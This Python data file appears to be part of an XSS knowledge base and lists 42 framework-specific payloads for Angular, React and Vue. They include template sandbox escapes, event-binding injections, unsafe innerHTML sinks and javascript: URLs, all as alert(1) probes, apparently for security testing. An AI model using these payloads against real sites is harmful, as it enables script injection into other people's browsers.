#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Framework Specific Core Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


FRAMEWORK_SPECIFIC_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "framework_specific_001": PayloadEntry(
        payload="{{$eval.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_002": PayloadEntry(
        payload="{{$new.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_003": PayloadEntry(
        payload="{{$on.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_004": PayloadEntry(
        payload="{{constructor.constructor('document.location=\"javascript:alert(1)\"')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_005": PayloadEntry(
        payload="{{constructor.constructor('window.open(\"javascript:alert(1)\")')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_006": PayloadEntry(
        payload="{{'\"\\n\\u0000alert(1)\"'}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_007": PayloadEntry(
        payload="{{x='alert(1)';constructor.constructor(x)()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_008": PayloadEntry(
        payload="ng-focus=\"constructor.constructor('alert(1)')()\" autofocus",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_009": PayloadEntry(
        payload="ng-click=\"constructor.constructor('alert(1)')()\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_010": PayloadEntry(
        payload="ng-mouseover=\"constructor.constructor('alert(1)')()\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_011": PayloadEntry(
        payload="{{7*7}}{{constructor.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_012": PayloadEntry(
        payload="{{[].constructor.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_013": PayloadEntry(
        payload='{{{}["constructor"]["constructor"]("alert(1)")()}}',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_014": PayloadEntry(
        payload="{{constructor.constructor.prototype.alert=alert}}{{constructor.constructor.prototype.alert(1)}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_015": PayloadEntry(
        payload="{{x={y:1};x.y.toString.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_016": PayloadEntry(
        payload='{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["alert(1)"].sort(toString.constructor)}}',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_017": PayloadEntry(
        payload="${7*7}{{7*7}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_018": PayloadEntry(
        payload="(click)=\"constructor.constructor('alert(1)')()\" ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_019": PayloadEntry(
        payload="(focus)=\"constructor.constructor('alert(1)')()\" autofocus",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_020": PayloadEntry(
        payload="(mouseover)=\"constructor.constructor('alert(1)')()\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_021": PayloadEntry(
        payload='<img src="x" onerror="alert(1)" />',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_022": PayloadEntry(
        payload="<div dangerouslySetInnerHTML={{__html: '<script>alert(1)</script>'}}></div>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_023": PayloadEntry(
        payload="<div dangerouslySetInnerHTML={{__html: '<img src=x onerror=alert(1)>'}}></div>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_024": PayloadEntry(
        payload='<a href="javascript:alert(1)">Click</a>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_025": PayloadEntry(
        payload='<a href="data:text/html,<script>alert(1)</script>">Click</a>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_026": PayloadEntry(
        payload="#{alert(1)}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_027": PayloadEntry(
        payload='<Link to="javascript:alert(1)">Click</Link>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_028": PayloadEntry(
        payload='<Navigate to="javascript:alert(1)" />',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_029": PayloadEntry(
        payload='constructor.constructor("alert(1)")()',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_030": PayloadEntry(
        payload='onClick="alert(1)"',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_031": PayloadEntry(
        payload='onMouseOver="alert(1)"',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_032": PayloadEntry(
        payload='onFocus="alert(1)"',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_033": PayloadEntry(
        payload='onLoad="alert(1)"',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_034": PayloadEntry(
        payload='<div style="background:url(javascript:alert(1))"></div>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_035": PayloadEntry(
        payload='<div style="expression(alert(1))"></div>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_036": PayloadEntry(
        payload="{{$el.ownerDocument.defaultView.alert(1)}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_037": PayloadEntry(
        payload="{{$root.constructor.constructor('alert(1)')()}}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_038": PayloadEntry(
        payload="v-html=\"'<script>alert(1)</script>'\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_039": PayloadEntry(
        payload="v-html=\"'<img src=x onerror=alert(1)>'\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_040": PayloadEntry(
        payload=":innerHTML=\"'<script>alert(1)</script>'\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_041": PayloadEntry(
        payload="@click=\"constructor.constructor('alert(1)')\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
    "framework_specific_042": PayloadEntry(
        payload="v-on:click=\"constructor.constructor('alert(1)')\"",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Framework Specific payload",
        tags=["framework", "angular", "react", "vue"],
        waf_evasion=False,
    ),
}
